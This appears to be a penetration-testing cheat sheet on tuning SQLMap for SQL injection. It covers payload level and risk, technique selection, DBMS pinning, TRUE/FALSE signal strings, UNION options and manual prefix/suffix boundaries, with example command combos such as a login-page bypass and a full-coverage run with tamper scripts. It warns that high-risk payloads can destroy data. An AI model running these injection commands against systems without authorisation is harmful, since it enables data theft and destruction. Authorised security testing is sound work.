Every SQLMap payload is boundary + vector. Defaults cover ~72 payloads across the most common boundary list. The tuning flags below extend coverage, pin signals, and restrict techniques when defaults don’t find the bug or move too slowly.
--level — How Many Payloads to Try
1 (default) → 5 (max). Each step adds more payloads and more boundary variants. Level also controls which input places get tested:
| Level | Tests |
|---|---|
| 1 | GET + POST only |
| 2 | +HTTP Cookie |
| 3 | +HTTP User-Agent / Referer |
| 4 | +Expanded payloads |
| 5 | +Everything (~7865 payloads) |
sqlmap -u "http://target/?id=1" --level=5
sqlmap -r request.txt --level=3 # needed to test cookies--risk — How Aggressive
1 (default) → 3. Higher risk enables OR-based payloads that can modify data in UPDATE/DELETE statements.
sqlmap -u "http://target/login" --data="user=admin&pass=x" --risk=3
--risk=3can change dataOnly raise to 3 against targets you own or when the engagement explicitly authorizes destructive testing. OR-based payloads against an
UPDATEcan nuke rows.
--technique — Which SQLi Classes
Any subset of BEUSTQ.
--technique=BEU # skip slow time-based + stacked (fast default)
--technique=E # error-based only — pairs well with --os-shell
--technique=T # force time-based (when nothing else works)
--technique=S # stacked queries (MSSQL, PostgreSQL)--dbms — Pin the Backend
Skip fingerprinting and jump straight to DBMS-specific payloads.
--dbms=mysql
--dbms=mssql
--dbms=postgresql
--dbms=oracle
--dbms=sqlite--threads — Parallelism
Blind extraction is slow by nature. Up to 10 concurrent requests:
--threads=10Has no effect on UNION / error-based (single-request techniques).
TRUE/FALSE Signal Pinning
On noisy pages, SQLMap’s automatic diff fails. Tell it exactly what TRUE looks like:
| Flag | Signal |
|---|---|
--string="Welcome" | TRUE iff this string present |
--not-string="Invalid" | TRUE iff this string absent |
--code=200 | TRUE iff this HTTP status |
--titles | Compare <title> only |
--text-only | Strip HTML, compare visible text |
--regexp="user:\s*\w+" | TRUE iff regex matches |
sqlmap -u "http://target/?id=1" --string="success" --technique=BEUUNION Tuning
--union-cols=17 # skip column counting
--union-char='a' # non-NULL filler (some apps filter NULL)
--union-from=users # needed for Oracle (requires FROM)Manual Boundaries
When fingerprinting can’t find the context, specify it yourself:
--prefix="')" --suffix="-- -"
--prefix=")" --suffix="-- -"
--prefix="'" --suffix="/*"Full Options Map
| Category | Option | Purpose |
|---|---|---|
| Payload volume | --level / --risk | Payload count (72 → 7865) |
| Technique | --technique=BEUSTQ | Restrict techniques |
| DBMS | --dbms=mysql | Skip fingerprint |
| Speed | --threads=10 | Blind parallelism |
| Signal | --string / --not-string | TRUE/FALSE marker |
| Signal | --code=200 | Status code marker |
| Signal | --titles / --text-only | Response comparison mode |
| UNION | --union-cols=N | Manual column count |
| UNION | --union-char='a' | Filler value |
| UNION | --union-from=t | FROM table (Oracle) |
| Boundary | --prefix= / --suffix= | Manual context break |
| Cache | --flush-session | Forget prior findings |
| Cache | --fresh-queries | Re-run queries, don’t reuse |
Example Combos
# Login-page bypass with aggressive OR payloads
sqlmap -u "http://target/login" --data="user=admin&pass=x" --risk=3 --level=3
# Fast, scoped: known MySQL, noisy page
sqlmap -r request.txt --dbms=mysql --technique=BEU --string="Welcome" --threads=10
# Manual UNION assist
sqlmap -u "http://target/?id=1" --union-cols=17 --union-char='a' --union-from=users
# Last resort: full coverage
sqlmap -r request.txt --level=5 --risk=3 --random-agent --tamper=space2commentDefaults first, tune second
Always start with
sqlmap -r request.txt --batch. Only reach for--level,--risk,--technique, or boundaries when the default run fails or you already know something SQLMap would otherwise waste time discovering (column count, DBMS, signal string).
